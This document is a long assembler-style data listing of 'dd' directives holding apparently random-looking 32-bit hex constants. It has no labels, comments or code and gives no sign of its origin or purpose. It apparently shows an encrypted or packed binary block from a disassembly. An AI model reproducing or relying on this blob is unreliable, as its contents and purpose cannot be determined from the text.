dd 2331A50Dh, 4C321B4Ah, 0A7257F87h, 2EB6B261h, 831DD583h
dd 0ADEEABDEh, 0E0361CC8h, 0B859ECCFh, 0F3EFFC45h, 0F621982Eh
dd 0C7FED71Fh, 0FC8A25B9h, 26064991h, 71FB6052h, 27589E50h
dd 0A8F0A5D6h, 38799D59h, 0DA8BB3E9h, 0AE94A8DDh, 1B6CF400h
dd 28EF8145h, 9D835CE1h, 80D56CAh, 840E20DCh, 94FAB152h
dd 0A204E47h, 0B8EB87DDh, 96F304FCh, 0A839A8EAh, 15E9125Dh
dd 9F2E4B4h, 14706BF4h, 98CE38E2h, 0A9CA1C5Ah, 0B45D0D69h
dd 680CED94h, 0C63A5A2Fh, 0B5B22003h, 9DCA3AFDh, 0DE044658h
dd 0C04FF244h, 93224720h, 2EC304Bh, 0E14A8B4Ch, 9FDF3E80h
dd 0CEE0112h, 0C79338FDh, 0BB570229h, 0B6985F13h, 4E9240F2h
dd 3AC781E2h, 299B3AB2h, 5E6A7047h, 0BEE10B47h, 225CC8D0h
dd 0A02F200Ah, 9A7AD580h, 0D8011DDEh, 44BA1752h, 0FDF4E95h
dd 0B84C7855h, 0CE57067Bh, 90442922h, 40CE5849h, 4398500Ch
dd 0FE812BE5h, 5D00C8A8h, 81250F4Dh, 0AA0E0FA6h, 89808790h
dd 0D5C3C6E3h, 35997A05h, 858625CBh, 381AA1C1h, 54CED98Bh
dd 3CF01F2Fh, 2174645Eh, 4803F18Ah, 6610DCC9h, 5D0B1F26h
dd 1482BE30h, 14D7188Ah, 9DBEB290h, 15ACBC34h, 0B31CE95Ah
dd 3000359Fh, 0F740343Ch, 132D77D8h, 0A0D65EC3h, 0E7796801h
dd 7E3B35C4h, 80CFB10Fh, 8D25FD1Ch, 0D7E9F60Fh, 7BC75A49h
dd 0BDD6365Eh, 0FAB8BF57h, 0E43B534h, 6C026FF6h, 5E5C5B1Eh
dd 0E9FE3101h, 0C96FF895h, 8787034Bh, 0D7CA3369h, 2DF671AAh
dd 0E25C6E04h, 80F8D46Dh, 6BE9CE29h, 7DE4973Ch, 81DE948Ah
dd 0CA111BCDh, 68F6E956h, 4E585F0Dh, 982FC805h, 33FC041h
dd 551968ACh, 0D54FFAB4h, 0F44F69E9h, 0D64DC281h, 0DE2020F9h
dd 90AC944Eh, 4D2787D2h, 9CC83F8Bh, 49E87721h, 68016EC0h
dd 44AB323Ah, 4D912E5Dh, 8907BD37h, 0FD0ED202h, 79284A65h
dd 363E2C00h, 0EC270516h, 8E424CDDh, 74BCBD3Ch, 904C01BBh
dd 4B590841h, 0C0787AECh, 16CC255h, 0A9970A5Ch, 86376A16h
dd 9526CAC6h, 69E47FF2h, 23FA4472h, 41AC66Bh, 0DCBF5D39h
dd 9A84842Bh, 0EAE620A5h, 0B8C1382Ch, 7F73CA0Dh, 0AE3A6483h
dd 0C1F42949h, 6835E4C1h, 13EE9213h, 5876EF38h, 12E7951Dh
dd 69E2D39Eh, 567C6996h, 0E9312944h, 63053AD4h, 1FEADA86h
dd 2EA4FD41h, 0C3FE806Ch, 28BFF380h, 8550DA58h, 0DC4191D1h
dd 6F5B0DA5h, 0CBB360h, 760E4BB8h, 4012840Fh, 0ED82819Eh
dd 0D0703859h, 2585FE65h, 401CFAC0h, 0A0FD514Eh, 7C11680Bh
dd 49FF269h, 25BFFA13h, 831545F3h, 0C228AA98h, 15278411h
dd 2946473h, 142162BDh, 0E880456Ch, 1DF62AB5h, 51E38103h
dd 9475B44h, 5DE908A8h, 254067A0h, 0BE1C5081h, 829D354Fh
dd 0A003C3D6h, 3151E9h, 79D3F2E9h, 95B0A70h, 0E51C572Ch
dd 0C10F9522h, 294105E1h, 5FB6E116h, 79F9C37Eh, 0AFF4C8Ah
dd 0D4035E97h, 0C21A37A6h, 9443D049h, 5EF925B3h, 0CA50E942h
dd 951C6079h, 6D5B136h, 2E7D70B9h, 0C7AE60BFh, 49F61D87h
dd 0C4CF9D9Ah, 0BB65DC2Ah, 0F7C16B1Fh, 434A9B9Eh, 3FC3AF40h
dd 0A0455FB2h, 6C0E2560h, 0C04E3437h, 3DCC2498h, 88AEC401h
dd 7576C8F9h, 7BF3BC13h, 0A2D215FBh, 0E763558h, 16BB62Ch
dd 85A813D3h, 7632AF79h, 1532DD5Dh, 0A2550B40h, 7EB98A82h
dd 546E203h, 756EEB7Bh, 722B3443h, 50AEE20Ah, 6D161DE3h
dd 69C20B1Eh, 580884EAh, 0F3C9FDB2h, 0EBE251F4h, 9A907574h
dd 0E14FF75Ch, 0D12EE829h, 79113AA6h, 20E9A1C4h, 0B23A4B25h
dd 0E2182505h, 258B09E9h, 8DA5D51Dh, 0C53E8419h, 1738BE2Eh
dd 0EBA24486h, 0F1381009h, 0C37A6162h, 0C7880844h, 218D4A73h
dd 4835F85h, 0F1969DB2h, 8827650Eh, 26D5680Ch, 42051380h
dd 0ED81CD3Ch, 40EAEA7Dh, 8207211Dh, 8CCFF65Ch, 4F3175DBh
dd 685FD0C3h, 98B573D2h, 0B54AF655h, 5E4AA594h, 0C4B215ACh
dd 0A4C291F6h, 0B4BB0010h, 6D4F5159h, 6640FCE1h, 799EF461h
dd 0E9F81A3Fh, 0A24E8D7Fh, 155AD13Fh, 0A57B48h, 2535BEEAh
dd 0EF295D54h, 3E761287h, 4C71AB95h, 5A638F49h, 0E6AD64Bh
dd 4E8D7D08h, 409E8782h, 0F9F41BFBh, 22FFA980h, 3F3B4135h
dd 20B51982h, 1420EEF3h, 0FEF0EAD2h, 35EA02C7h, 59E94E93h
dd 880BDA74h, 0B31B68E6h, 6ED99511h, 6DD3D1CBh, 1FF22B6Ch
dd 4493DF13h, 0EBDAF73Dh, 0F2A85E66h, 4BE40532h, 778EF35h
dd 0D5E705C9h, 4987C24Ah, 0DEAA49EBh, 0CEBB8658h, 82AB2E4Ch
dd 240B6761h, 0F102B759h, 459EF30h, 3ACEF620h, 8613E909h
dd 9DD71655h, 0A1252BD2h, 262651ACh, 917B092Eh, 61938210h
dd 0E952F91Eh, 4C72F26Fh, 0CF2037E0h, 2FC8DCBEh, 6227E989h
dd 0A843D141h, 27DF5979h, 0BFD259C4h, 6FEF1744h, 2CC0BE0Fh
dd 0F58919AFh, 0B7F15E5Ah, 133AE531h, 0E086B9E6h, 5BB8685Bh
dd 4A173065h, 210C427Ah, 606EDC1h, 0CC515008h, 2B130C3Ah
dd 3FD8D176h, 457CD40h, 894B47BFh, 0F1EBC01Eh, 71024C55h
dd 0F708E7C1h, 0F6805FD7h, 0F82AD0EFh, 7384D58h, 41495911h
dd 542D9E6h, 10C921DEh, 0E978B031h, 6C9C6790h, 10E0FD94h
dd 8102C541h, 0E47035E7h, 0DAD7F182h, 3FED6801h, 0A65EE523h
dd 44034A7Bh, 4C9B54E9h, 480F4645h, 0B06B1F3Fh, 5376F7F8h
dd 1ABD5679h, 0FA57C0AAh, 8FE7B52Dh, 0D3950F20h, 0AF591EE0h
dd 0F35EAE90h, 6203A50Dh, 1ECCFC38h, 0D23F64E6h, 1659BD1Bh
dd 0FFFDCB01h, 18ADB9A4h, 0EF27BB77h, 94591E48h, 813BD246h
dd 0C9D98860h, 0E690E5CAh, 64DB3AF5h, 0E6402F18h, 0BF1C2364h
dd 0F0E70EC3h, 0E6495882h, 0FD317801h, 240FCE9h, 8582FD66h
dd 5006EB4h, 0A4A6F06h, 2DD8011Dh, 75292707h, 75A89A6Fh
dd 2617F598h, 15005739h
dd 19E63797h, 0AF680452h, 0EF337823h, 0F8826744h, 0EC4F9BF8h
dd 0C45EA208h, 5451309Bh, 0F422E90Bh, 82D197h, 30CB1067h
dd 0EF179D05h, 0D913CF34h, 56B297F8h, 69E9B7A1h, 61429DA1h
dd 53258BA4h, 0B0A9A282h, 680A0B40h, 1E512E0Dh, 17F87788h
dd 9EC7FCADh, 4A9F15D5h, 0B9E9C26h, 6AD33F19h, 7D200D00h
dd 0D10669A9h, 3D9CE9EAh, 30D97757h, 803EEC84h, 0F09DF8CFh
dd 0AC4429B0h, 0CD8100E5h, 77AA6A87h, 0F6BE5600h, 0C16C4439h
dd 0F1AFB8EEh, 3D27828Bh, 577C770h, 0CE01517Ch, 122F5521h
dd 0B124C7E9h, 0B016BE5Eh, 0A703A44Ah, 0E7F2105Bh, 7648464Dh
dd 0B22ACD16h, 41244E18h, 2488F5C9h, 800E2594h, 0CBE33C6h
dd 86123381h, 0D3F6DE1Bh, 1DCEF808h, 0A232B0D0h, 5800D6C3h
dd 0A1C493BAh, 0D2829905h, 0DD07E0A5h, 6A49286Fh, 8BCAF1ECh
dd 5E0ED008h, 0E9AD9C02h, 4AD2D832h, 287D528h, 0E3EB333Dh
dd 0F1D50C25h, 0AE4264C9h, 1C0378D3h, 5FFEB63Dh, 0A4D197CEh
dd 58278A63h, 42A8F3D4h, 0A2FE20B7h, 9812BC8Bh, 0EB151E7h
dd 0C5E18085h, 8431C164h, 0CF12AAC0h, 8BF316ECh, 6538EB95h
dd 4E1C4099h, 2307AF92h, 0EE09648Eh, 30AC33E4h, 51982D02h
dd 0E3416CB2h, 0C0074705h, 4A751382h, 19A85B4Bh, 0CEFD82A5h
dd 1ED2C220h, 3B5F769Ah, 250E62F2h, 1C384A6Eh, 36E6B5CFh
dd 0E6B1E912h, 6084FFADh, 0C429ED7Ch, 37D444F0h, 18D08AFh
dd 0A40B1624h, 0FAA58B7Fh, 85580136h, 91E9964Dh, 0E78D81E5h
dd 305B452Dh, 80DA7F30h, 7B71D9B8h, 0B4835850h, 760B4D17h
dd 0C1407282h, 41AC532Ah, 0BEA21206h, 7A4D4204h, 303AFF13h
dd 19E8AC14h, 0CB3C4402h, 0AE40464Ch, 0CD316DC7h, 0D6C6415Bh
dd 29D87421h, 0BCB390F1h, 30F02D1h, 9507EFFh, 0E3A2504Eh
dd 1272054Ah, 0E871AF2Ch, 0AF20F888h, 0F6214019h, 4A29D058h
dd 65F767CCh, 0B05A0BD1h, 1792591Dh, 0EEC1599Fh, 6DC3A5h
dd 0E64C7566h, 2EB80149h, 4E8A5A5Fh, 0E21BC84Fh, 0F4E88D4Ah
dd 163768E0h, 0E362A494h, 555F0026h, 963EBB53h, 0BD498C06h
dd 97310B94h, 0E9131DFAh, 0BADCEAF2h, 61E33168h, 0AAA9F7B3h
dd 392DD57Bh, 75746A4h, 7018C7C2h, 0E0EDE576h, 0D0955A99h
dd 0D20920A2h, 2F14369Fh, 968670E9h, 0D2BA4E58h, 214F41B5h
dd 2C7FF665h, 6B401C99h, 0D1C21709h, 0B91363E2h, 292703EEh
dd 19F0EC4Fh, 1DA6BDE9h, 900B6AF8h, 6A10DEB3h, 3B802DAAh
dd 5622F705h, 0E801020Ah, 0E91C072Dh, 0B771802Dh, 941F042Ch
dd 661E3A75h, 5F66715Bh, 5397047Eh, 5AA94687h, 8660998h
dd 0B083613Eh, 7F01519h, 9A25E95Eh, 6EC47CBAh, 522B007Fh
dd 0C8870F3Bh, 79F48997h, 0C9E54238h, 871BD07h, 0BCE81E40h
dd 114C5E0h, 0C8DC0FEh, 0F488D26h, 8703037Ah, 50D6F7F1h
dd 18BC5808h, 0C017233h, 734C773Fh, 9C6003Ch, 29322C61h
dd 80CC90CEh, 785F5908h, 0AA34B583h, 477E5EA4h, 0D57763B2h
dd 1045C52Dh, 0B95D517Bh, 2B133F31h, 656571D7h, 933D2E50h
dd 0AD58613Ah, 6F8104BBh, 732FB870h, 0EFEC5CDEh, 0E90A918Eh
dd 463CCC61h, 59976A50h, 29D42763h, 333786CFh, 0CC60C83h
dd 0F7A28082h, 29D85E4Bh, 2B436968h, 0DEC92777h, 0F91FE1A2h
dd 0B33B8869h, 6961F43Ah, 438A680Ah, 0A68DD988h, 0C96E4525h
dd 25ABB02h, 2084657Dh, 123BF56Ah, 1974EFECh, 0BFCB9216h
dd 0AA515F14h, 2D936A30h, 9C487B72h, 0AF7E1069h, 0C0A4B35Eh
dd 0A7E9555Ch, 6828BC3Ch, 0C4BDAEC4h, 0EBE6948Dh, 9EBB898h
dd 6E037CCh, 8FFA8F5h, 0D038E90Bh, 4B898510h, 0DE2717F6h
dd 10C1AF66h, 0D5E52B01h, 51A13C28h, 0E6A23F54h, 0D105E9C4h
dd 9EEF2946h, 4B92FB44h, 0F087C949h, 0B81F3A87h, 0DD296E8Bh
dd 0B2098004h, 0E55B73FFh, 0B5F554D8h, 3AF36FC8h, 25334D97h
dd 0F9AF5673h, 0FE914B3Ah, 4E7D32EAh, 50F01E0h, 0D30932BEh
dd 0F0A91F5Ah, 687CE923h, 3CBE0AD2h, 12BAC307h, 0FDEED124h
dd 0A9EA3D0Fh, 1982D586h, 5E05400Fh, 5D08B001h, 68302F5Fh
dd 0E2440FE7h, 1AC9E961h, 0E9D06FF4h, 0A66D4BD5h, 35BB13B7h
dd 0F75B8CE3h, 3F0CC825h, 57D5B4D5h, 807C003Ah, 850F22E7h
dd 0ECA88173h, 0F6C847B5h, 88500196h, 30EB80D3h, 0D4FACB90h
dd 1AAC054Bh, 1655588Bh, 4810B5C4h, 581FDF2h, 5D644F2Fh
dd 0F3F5A265h, 50BC768Dh, 0C467C589h, 0CFFE3D5Bh, 0E8BD1713h
dd 90D68BB1h, 127FC3B7h, 4A52DC09h, 3008EB7Ch, 43074E0Ch
dd 62F1424Fh, 87BEB26Ah, 70232BFh, 94074084h, 2D4B047Ch
dd 8153FA01h, 7222E8C8h, 7DA45EFEh, 76F5ED29h, 9BB2364h
dd 28195356h, 73226A00h, 5A9D0B5Eh, 0D7D2F56h, 74A5C2F1h
dd 0E18F97E0h, 0B546EC2Fh, 0C5280D1Eh, 16AD25CCh, 0EC8F260Fh
dd 14D9ADB4h, 65C01B08h, 7A28BE5Ah, 0ACEC403Ch, 0F09FA2F4h
dd 0E8175A10h, 80A3406Bh, 882EC705h, 60E85BFAh, 8BB6D420h
dd 0D710602Ch, 0A130DC48h, 0C3285B81h, 774822FCh, 0D8B58195h
dd 7520DBD7h, 9B4205BCh, 93AFE926h, 52F0B8F3h, 50072C8h
dd 613A767Bh, 17E32D40h, 0C1669B71h, 52A51A13h, 8B40E2E8h
dd 8EA3BD1h, 0F809AF90h, 852D0752h, 9DBA3A24h, 0A955423Dh
dd 3D84E927h, 3A2E9DABh, 72A45D34h, 337E6251h, 1DC97611h
dd 0CD27F6E2h, 0E24EFC09h, 0F6006794h, 48B724D0h, 0D15B370Fh
dd 7CE60220h, 0ADB180A2h, 9EF8155h, 62B9F0CDh, 0A040AD7Ch
dd 983B6C9Eh, 252B0B94h, 946A3E43h, 825B0804h, 0C5C7B30Ah
dd 3AB65204h, 91F0C283h, 6D2858C3h, 2893B1A0h, 0F1E9D912h
dd 0FD2485h, 0B7F78B8Eh, 66640BB3h, 1AD08489h, 0E64E41EEh
dd 92DEF707h, 0DB42EBECh, 6EB4E0E9h, 398E2015h, 44C503B8h
dd 0D9C8AD75h, 0ABD51DA8h, 0D4CD8183h, 20782F01h, 8182A729h
dd 394968D4h, 46C5D87Bh, 28BB84Ch, 0DC1114EFh, 0AFC141F9h
dd 844E377Ah, 0F0FFCF8h, 0E9F97EBAh, 0F2927DD6h, 0E5558D42h
dd 9569637h, 4ADE09CAh, 88E5E647h, 4005C7BBh, 13E9525Bh
dd 0ADF5984Bh, 65000C3Ah, 7204EBD3h, 68349221h, 909AFABCh
dd 0EF880054h, 6E7225EEh, 0F58A5777h, 25EFB118h, 9A1C4E38h
dd 0BA2CF01h, 0A583D908h, 5C009FC5h, 68C8BF0Fh, 0E7274DA8h
dd 8C653084h, 0A6056843h, 5D663F71h, 0F09ECBCh, 60CBD88Ah
dd 3B1F2EC8h, 1EE94D0Bh, 19ADB00Dh, 205981CEh, 0AB5EB239h
dd 1B2804C1h, 680B6136h, 0D53A31CDh, 0A52DB265h, 0BFEC5CCEh
dd 929624Ah, 68546469h, 0C668B07Dh, 224B36Ah, 1DE1626h
dd 0F681AEA0h, 0C490F0B5h, 67702D01h, 0CFE90AC7h, 0D400D722h
dd 0C012CC80h, 0C4EC04E4h, 0B151D10Fh, 42F187F0h, 0F906E1C3h
dd 34C803E9h, 2073926Ah, 59B573E8h, 0F30A6F61h, 1E90907h
dd 422D1520h, 3609DA38h, 7CC28952h, 0CDA03B4Ah, 2775D09Fh
dd 42C82F45h, 0C57CABF9h, 0E9C59CB9h, 0A94A1CA8h, 5A68C08Ch
dd 44E223h, 29283558h, 4FE962E1h, 489D4DB2h, 0BCC93E9Bh
dd 27AD48D3h, 8B8B9119h, 0D6828511h, 0DAEF62A9h, 60BBBD00h
dd 0E168F7B6h, 0DFAED0Eh, 0F5C06A8Eh, 76C4F278h, 0D4BF89B7h
dd 0DDC30844h, 32D1612Dh, 0F1EBD958h, 2820ED71h, 0F5009D06h
dd 11EC4B1Dh, 9531A193h, 8700E159h, 0BA0152FDh, 0C0FA05B1h
dd 646ED531h, 4FBDD193h, 0B33913EFh, 7DA47CDCh, 5C4B2792h
dd 0E3D4BB68h, 315E6880h, 0B86A633Fh, 5A59018Bh, 2F58CD26h
dd 0D09F8120h, 6C139F2h
dd 6E2897D0h, 7BB010F9h, 7D40FCB0h, 30DB7FBDh, 2CB458CEh
dd 5001B462h, 499AE281h, 30201151h, 0ECC8B297h, 1AFA9596h
dd 0FAECE03h, 186AA87h, 88C0EE13h, 3814E9F1h, 46B412C7h
dd 2D22D873h, 0E44201A3h, 0CCBFBC64h, 94EE3C22h, 2402821Bh
dd 0E1BF35B9h, 1C41DB01h, 141CA008h, 0F0F7C09Dh, 5264B57Ah
dd 4EFB10Eh, 28CE4062h, 48BEE9C8h, 408F2FAAh, 0DBFAF40Fh
dd 402554D9h, 0EE5F5941h, 0C883B787h, 3022478Fh, 52E39EDCh
dd 75B2895Fh, 0E95196B0h, 93B66C32h, 0B3B180E7h, 2E284B33h
dd 342D2F7h, 77030FFBh, 0DC43F2B0h, 14EB713h, 0AF895904h
dd 2F9429ABh, 0C0FA5F49h, 2112D33h, 297DB645h, 78105D0h
dd 50F1D7E9h, 0C4FEECC2h, 0BBF4801Ch, 2858E503h, 0C1EDC2DDh
dd 0D7CADE29h, 0C0525E25h, 9E23AF62h, 0D5C080B7h, 0C32424Dh
dd 66B2890Fh, 1E0BE593h, 2E8633h, 507A88Eh, 21582F40h
dd 0ECED1CC0h, 0EEFD9F16h, 25E980A4h, 0F892BD7Eh, 61DDD41h
dd 0B266275Ah, 0A4D89A54h, 5B219D82h, 3063B551h, 5C81D250h
dd 9F9B4A6h, 1A541908h, 54BCCAB9h, 59796DC1h, 30BE356Ah
dd 0D41D0FDh, 18A9C420h, 1F5E1109h, 83305346h, 340CE9EDh
dd 58026384h, 0BCA2E945h, 0B3D2B46Bh, 2D5B6800h, 5A350092h
dd 0CA81424Ah, 5D482797h, 0DE85169Eh, 0E94FBFA7h, 93E195B6h
dd 1C2814BFh, 0C9BAB012h, 0AB1C3A2Bh, 0FBBC7F97h, 6BC8BBE0h
dd 0E90E520Fh, 893955EDh, 82FAC659h, 25397EF8h, 0CBAD50D1h
dd 71ADFB16h, 0F2594BFEh, 96A993E5h, 0BF01FEA5h, 0B6C50D4h
dd 1475D06Dh, 0B479ED0Dh, 0E9361B0Ah, 0A2063B91h, 0C102A27h
dd 43AD8A09h, 8F8A853Ch, 7A585E62h, 0E422C64h, 0E03C4742h
dd 3BBD53DFh, 777E6502h, 0DC5FFD31h, 49A120A8h, 582791BEh
dd 90770CABh, 0D360F8A1h, 9329F2E3h, 811C65ABh, 4A973ECCh
dd 0D82D7BBCh, 64B27616h, 82489495h, 0F0F4438Ah, 69BD732Dh
dd 7A2709D5h, 0D3BC20F9h, 1EF166A0h, 0C240CC25h, 1AC38616h
dd 1390D310h, 62CEA5Dh, 0C82B5E9Bh, 0C340EB8Eh, 0E3785E68h
dd 505200A2h, 88F8B753h, 2030B0FCh, 0D882EFBAh, 5FD5AA8Ch
dd 400F519Dh, 0E6F0CEF3h, 0E029832Dh, 9852FE28h, 75D72721h
dd 0C3428959h, 1FA761F7h, 0DA269C3Ch, 1531ADADh, 1E4F2966h
dd 0C88034E7h, 0B6880F30h, 4AE595DFh, 1C2FFC1Fh, 9737FC8Ah
dd 11B6A9C6h, 7BF06884h, 682C6CEEh, 5AD6A1B7h, 0CDA011E9h
dd 79BB08C4h, 61056B5h, 0C522DB05h, 0EE40AE34h, 32727084h
dd 0EA89ED1h, 0B0D77DF8h, 8AA4F6D3h, 0F9C78E0Fh, 5FA6698Dh
dd 55C2881Bh, 0F3A4B9FEh, 0D17A4E83h, 5FA7E907h, 0A62C0F74h
dd 39E10AA9h, 2CD7AF4h, 19387EE3h, 848287Fh, 1D621627h
dd 0A51E5FDBh, 30E95E60h, 5B202062h, 6641F589h, 0D4A66A36h
dd 5CDC0125h, 0CCAF82C9h, 0CB2801A0h, 0B41D6E66h, 81A9B522h
dd 592704F6h, 844E6201h, 5A0B39DFh, 9411042Ah, 595F0B72h
dd 8B4BC8F1h, 3FC559CEh, 0CA101D24h, 3DFD6809h, 8D6284FEh
dd 625807AEh, 925FD2F9h, 3CF61D6h, 0FEEAE50h, 718E280Ah
dd 14191DD9h, 1608AEF2h, 0C5B61A3h, 0FC4B3EE2h, 0F95E0902h
dd 0D073DF5h, 0BDE4CF82h, 0C8A520A8h, 74304E81h, 702113C3h
dd 0E4A7E160h, 8D1FF8EAh, 2D6A2Eh, 5089CBD6h, 0C1541268h
dd 0C33A00EBh, 48E8AEC6h, 2AE2959h, 0FD2B33EEh, 7693802Ch
dd 15220B2Dh, 818E3DE9h, 0B3015616h, 6119012Bh, 2EE96552h
dd 0CF80F450h, 3BA99E4Bh, 0B7DF7073h, 9E0453A9h, 3BA5AD14h
dd 4B2AFE6h, 37C85A48h, 838059A5h, 0BAD67D2Dh, 81C2B753h
dd 559BD501h, 4D6E26C9h, 0DADE6BA5h, 0E806E909h, 890443FAh
dd 5C12CD7h, 516DD7EBh, 705D17BEh, 269C15D2h, 3108EE2Dh
dd 66A5AF62h, 86327DD0h, 70274EA7h, 6C55BCB0h, 334BF4BCh
dd 0B0C84A31h, 0F15BE90Ch, 9BB8CE4h, 55B465D3h, 0FD249889h
dd 0BDCFBFB3h, 0A5265924h, 4CCEBDFCh, 0E5599F96h, 53D96825h
dd 0D202BBE0h, 0EA1DBE9Ah, 0A619D68Fh, 0C80E5C01h, 2694418h
dd 2A24DE7h, 8B5D8868h, 0E984F656h, 0D75109F7h, 0BFA8151Eh
dd 69FF03E9h, 6AFE0947h, 272EF49Dh, 8AB15263h, 887A8D7Ch
dd 0DEF80864h, 42D9226h, 68667EE7h, 211AC184h, 16033629h
dd 9327D546h, 0B12EF44h, 0BCD203ECh, 8B00CEE2h, 5DDD88F1h
dd 0E10102C7h, 608E393Eh, 2712E039h, 15007E0Ch, 3BCF57CAh
dd 0A086120Fh, 0C560F8DCh, 9BBB36C2h, 9D2016C4h, 74733CABh
dd 0C4C32DE5h, 9A11BC2Bh, 0E2A6532Eh, 0C9CA5EE9h, 0E8E89D05h
dd 0AD5ABDh, 0ABA6C68Fh, 0A42D5B6Ch, 86251836h, 3F120529h
dd 8007E7C1h, 7245DC90h, 0F7044976h, 5C852292h, 372CD1FAh
dd 0C3530270h, 2C07F4E3h, 0D347D298h, 0FE7F580Bh, 21BCBEC6h
dd 0EEDA9359h, 0A5507F21h, 7909926Dh, 845F22E3h, 1CBB5A5Ah
dd 3735194Eh, 6B3A21FAh, 0C3C3784Fh, 9F8CE256h, 0A9F827C4h
dd 7080BD3Ah, 0E809615Eh, 0C909355Dh, 0D7B4449Ch, 51779926h
dd 83E85750h, 6BE54E1Fh, 798CA539h, 0F541680h, 0BB32A1D0h
dd 87C26A37h, 0A0BFE161h, 556CCC6Eh, 0FB091CB0h, 5C7D0878h
dd 2C602F6Eh, 0E74F8B0Fh, 9B177D12h, 60EBB416h, 595ACF19h
dd 51C80100h, 372D6768h, 0B2E5A30Fh, 0FD26751Ah, 0E30A9FC3h
dd 0DF4A1068h, 0F60EE8C0h, 0EAE92F46h, 23F53909h, 10C7C9B8h
dd 5BFB267Dh, 0EC30B71h, 86298005h, 0F42ED746h, 430EFD89h
dd 0BF78987h, 2DF778E2h, 75DC6F29h, 0A0B01CAh, 0EF45F67Dh
dd 0A4F53365h, 7E0260E7h, 41491D52h, 20DF6155h, 8D6197F1h
dd 0D5D81352h, 6AB79B1Ch, 5720BA57h, 2EC2B36Ah, 0CE566ACAh
dd 27B05060h, 2FB490FEh, 0D5D1F4B8h, 4B18B40Fh, 0C097A385h
dd 820BDDEEh, 0DDDCC28Bh, 0BC5C75A4h, 0C7B3024Ah, 0E228E6B5h
dd 126C63Eh, 1EB15102h, 0C02FC180h, 0F72AE9CBh, 9B25B5E3h
dd 9D9D94C9h, 3B9182E9h, 73413644h, 581CA45h, 0FE24B6D7h
dd 0C2EBE224h, 0F26852AAh, 0CE2E8B59h, 0EB93C15Eh, 9F8910ECh
dd 53C6DEC8h, 644E1B13h, 6D0D8705h, 4BA8F8D4h, 0CE292D48h
dd 6F893FD5h, 72761CEAh, 7B762104h, 0BFD7F683h, 0C9AF73F5h
dd 8724204Dh, 32BB0C00h, 0F215592Dh, 0D0F73B17h, 0AB583E81h
dd 6C89E936h, 5BB0171h, 295D5259h, 5B08D441h, 84487CD6h
dd 90237BE9h, 3E8BE538h, 955C543Dh, 25942511h, 0C92C56F2h
dd 0B12E28F6h, 0A4208BA6h, 0AE803C27h, 0E979EA24h, 8395F4A7h
dd 2BEF5894h, 6812D9Ah, 2B2212E9h, 8B01A8CCh, 0C710C2C2h
dd 98D99D18h, 570B0D42h, 5E2F33C7h, 365DD1B3h, 11BB50C0h
dd 68B54404h, 89A049E9h, 45BD1D66h, 0E5D10F26h, 0BDDA7E84h
dd 0EB032CCFh, 72099F28h, 8759CC29h, 0D1B44188h, 898144AFh
dd 0E07F8DD4h, 42925E0Ch, 9459BE27h, 69699905h, 0F47263D4h
dd 0BA1A6908h, 0ED322A82h, 0B14FCE77h, 0AA11B4E7h, 0EF3EE28Bh
dd 93BCF25Fh, 35B364D1h, 12EBDB20h, 486C0FEh, 0C976C9DDh
dd 2002FC2Bh, 0DFF72501h, 0CF8A8D0Fh, 2776CE6Bh, 694AF989h
dd 98E31EA7h, 84975E1Dh, 0FE871547h, 0CA1C40D2h, 0F9B4439Fh
dd 6182D544h, 2E09B2CEh, 0C5239F40h, 0B9FF2181h, 138152Ch
dd 0AE8C182h, 12CF605Fh, 0A4E98056h, 9EE9335Bh, 968AE9B0h
dd 5E8FBA9Dh, 0F8396A72h, 6C4AACE9h, 6A953737h, 0F56248BCh
dd 8902AD3Bh, 0E34AC0CBh, 582C9007h, 8204A143h, 0AE719BFDh
dd 0EE80D85h, 95ABB1h
dd 3D7240BDh, 0B6171A50h, 0E86E4707h, 731A8E06h, 0AB8B8156h
dd 0F640947Dh, 0B59BC2Eh, 9183E4C0h, 0BB3AB478h, 0E1E0F350h
dd 0D89AD6F6h, 0EB4AD1B5h, 7DD0B2D7h, 5680EEE5h, 7819AB68h
dd 855E5B54h, 9F1FBBACh, 4653B809h, 4C8C0454h, 1329282Dh
dd 551E8100h, 5E0F500Dh, 9C5CF589h, 16422818h, 681EE976h
dd 0C1C68Bh, 804EB1D0h, 0CB28AEF1h, 0C12539Ch, 654E5DBEh
dd 0E012E358h, 1DC0F5E9h, 4184820Fh, 891CEC03h, 88F7D0A8h
dd 4BB3EF00h, 7D4EA81h, 657AE1D6h, 0A6C104BAh, 0DA210CE5h
dd 0F84E681h, 1702522h, 88C1BDF3h, 0F2A44F0Ch, 5C0ED1D1h
dd 65307EF0h, 90B64723h, 6C3E5D8Bh, 3D2512Ch, 2810337Eh
dd 3987A3E1h, 0D525266Bh, 0E3A58A5h, 0F9885BF7h, 11F73069h
dd 8D786655h, 87D9755Eh, 0F5E7F5BAh, 0A0F9027Dh, 0F4BBAE68h
dd 564D7412h, 20AE9707h, 0D8894B71h, 1E2BCA2Eh, 654BE62Dh
dd 6D0C8039h, 9DC1C877h, 4C203478h, 3D5097CBh, 0B7E68104h
dd 0BCC18F04h, 0E94806BDh, 5027ECDBh, 2E89B70Ah, 8288A3Fh
dd 0F7015DFCh, 7A860FD8h, 0E23E6E25h, 53E90AD5h, 0CE8CA5C0h
dd 488C0BD2h, 0AAA47ACDh, 5B520E5Ch, 0E9515130h, 0D7BD5E76h
dd 8026F028h, 9258427Eh, 3FEB73AAh, 0EAC07E1Ch, 33C28105h
dd 61CC24E8h, 0AC31977Fh, 0F752B2B6h, 985D1542h, 90EA29B8h
dd 0CC2C4E32h, 0F14FF659h, 68CCA501h, 0CC6F554Bh, 33905ED4h
dd 0BF8084F4h, 13270C4Ch, 0E4BA477Dh, 1420E65Fh, 3B11663h
dd 5257594Ch, 0B9B02168h, 0E92D5A17h, 0EBB96B96h, 0F735026Dh
dd 5BBE7399h, 0FEE9E563h, 3E32EEFh, 140DF8D3h, 8095D6ADh
dd 4F8F6799h, 2D7EF589h, 98EED878h, 1FB25D2h, 646A69C2h
dd 0A40726Fh, 0B05585Dh, 0E0D35E01h, 51FAB068h, 4327ADA7h
dd 0B5BC6E9h, 7478472Fh, 560DC24Ch, 5D047D09h, 0D5CB57h
dd 4120C6BDh, 0A15F5578h, 6907D7AAh, 0AADF8A09h, 170A1154h
dd 79BC1C4Fh, 38F32817h, 0CE2749D1h, 1CA9BD00h, 0BB1A6601h
dd 80F9793Ch, 2E8E9530h, 25B4C213h, 8825BD0h, 9B14E7Dh
dd 61EE235Ch, 195A5301h, 3BE3DAF1h, 12FFE28Dh, 0F27F9F6h
dd 3F556841h, 1316E77Bh, 224904E9h, 683B005Ch, 9D2AEF30h
dd 12027D63h, 19742664h, 4DFC0B09h, 2891A82h, 8DA955A0h
